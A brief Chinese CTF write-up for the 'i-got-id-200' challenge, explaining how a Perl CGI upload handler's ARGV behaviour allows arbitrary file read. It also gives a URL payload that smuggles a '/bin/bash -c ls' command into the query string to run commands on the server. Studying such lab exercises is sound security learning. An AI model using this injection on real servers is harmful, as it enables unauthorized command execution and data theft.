[wp] 攻防世界-i-got-id-200

点击Files,这里会把上传的文件的内容在下方输出,猜测后台逻辑:

use strict;
use warnings; 
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) { 
	my $file= $cgi->param( 'file' );
	 while ( <$file> ) { print "$_"; }
} 

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的:
[wp] 攻防世界-i-got-id-200_第1张图片
这里根据网址猜测file.pl位于/var/www/cgi-bin/目录下,返回结果如下:

#!/usr/bin/perl


use strict;
use warnings;
use CGI;

my $cgi = CGI->new;

print $cgi->header;

print << "EndOfHTML";
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
>


Perl File Upload



Perl File Upload



File:




EndOfHTML

if ($cgi->upload('file')) {
my $file = $cgi->param('file');
while (<$file>) {
print "$_";
print "
";
}
}

print '';

基本上和推测的一致.接着我们利用bash来读取:

/cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/|

返回结果如下:[wp] 攻防世界-i-got-id-200_第2张图片
接下来按照上述方法读取flag即可.

你可能感兴趣的:(perl代码审计,网安)